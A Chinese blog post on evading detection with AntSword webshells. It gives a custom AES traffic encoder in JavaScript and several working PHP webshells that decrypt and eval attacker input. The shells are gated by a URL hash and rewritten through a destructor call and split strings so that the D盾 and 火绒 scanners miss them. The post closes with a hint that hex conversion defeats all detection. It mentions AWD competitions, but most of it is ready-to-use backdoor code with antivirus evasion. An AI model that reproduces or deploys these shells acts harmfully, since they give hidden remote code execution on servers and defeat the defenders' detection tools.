蚁剑动静态免杀-安全从业者的基本操作

蚁剑的编码器与解码器

蚁剑最出色的地方莫过于开源,方便二次开发。在日常渗透中webshell的流量加密算是一个基本操作了,否则太容易被查杀到了。而蚁剑的编码器和解码器就对流量进行了混淆,但是自带的base64、chr16、rot等太容易被查杀了,所以需要自己定义编码与解码器。

简单看一个aes的加密脚本

function get_cookie(Name, CookieStr="") {
   var search = Name + "="
   var returnvalue = "";
   if (CookieStr.length > 0) {
     var sd = CookieStr.indexOf(search);
     if (sd!= -1) {
        sd += search.length;
        var end = CookieStr.indexOf(";", sd);
        if (end == -1){
          end = CookieStr.length;
        }
        returnvalue = window.unescape(CookieStr.substring(sd, end));
      }
   } 
   return returnvalue;
}

function encryptText(keyStr, text) {
  let buff = Buffer.alloc(16, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    mode: CryptoJS.mode.ECB,
    padding: CryptoJS.pad.ZeroPadding,
  }).toString();
  return encodetext;
}

module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 从扩展中获取 shell 配置
  let headers = ext.opts.httpConf.headers;
  if(!headers.hasOwnProperty('Cookie')) {
    window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误");
    return data;
  }
  let session_key = "PHPSESSID";
  let keyStr = get_cookie(session_key, headers['Cookie']);
  if(keyStr.length === 0) {
    window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误");
    return data;
  }
  data[pwd] = encryptText(keyStr, data['_']);
  // ##########    请在上方编写你自己的代码   ###################
  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

模块的定制化开发写了一个加密函数和一个获取cookie的函数,通过获取cookie来截取aes加密所需的key值,我们也可以自定义http请求头,来diy自己的编码器

动态免杀

动态免杀也就是流量加密,为了防止被流量分析设备检测,使用对称加密方式或非对称加密是最好的手段,同时返回包也应要加密返回。

<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

上传这个php马,连接时勾选aes加密

图片[1]-蚁剑动静态免杀-安全从业者的基本操作-Apibug

在请求信息中设置cookie

图片[2]-蚁剑动静态免杀-安全从业者的基本操作-Apibug

这样操作之后,请求包和返回包就加密了。

小小改动

若是在awd比赛中,不希望别人连接自己的shell,所以还需要对shell稍作修改,混淆视听

<?php
$requestUri = $_SERVER['REQUEST_URI'];
@session_start();
$key=@substr(str_pad(session_id(),16,'a'),0,16);
if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){eval(openssl_decrypt(base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}
?>

加完以后在就会获取当前请求url,并截取后面10位跟hash做比对,不对的话就无法使用这个shell后门了,效果如下。

图片[3]-蚁剑动静态免杀-安全从业者的基本操作-Apibug

连接时定义好url和密码就行

静态免杀

自从php7.1以后,那些花里胡哨的变形就没得了,只能直面eval。简单对自己的马子做了下静态免杀

过D盾也是摸索着过的,参考网上文章也有些不太靠谱,在base64_decode和$_post处卡了很长时间,后来借鉴别人的免杀马,直接绕过检测。看其思路并不是绕过字符串检测而是改变其调用过程从而达到的绕过

<?php
class mm
{
  public $a = '';
  function __destruct(){
    eval("$this->a");
  }
}
$requestUri = $_SERVER['REQUEST_URI'];
@session_start();
$key=@substr(str_pad(session_id(),16,'a'),0,16);
if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){
$b = new mm;
$b->a = openssl_decrypt(isset($_GET['id'])?$_POST['tan']:base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}
?>

但是呢,这个时候发现火绒依然可以查杀

图片[4]-蚁剑动静态免杀-安全从业者的基本操作-Apibug

不过,稍作修改下也能过火绒

if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){
$b = new mm;
$c = "_PO"."ST";
$b->a = openssl_decrypt(base64_decode(${$c}[tan]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}

但是D盾却又有告警了,哈哈哈哈。。

图片[5]-蚁剑动静态免杀-安全从业者的基本操作-Apibug

想要通杀,思路很简单,hex转换就可以绕过

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏
分享
评论 抢沙发

请登录后发表评论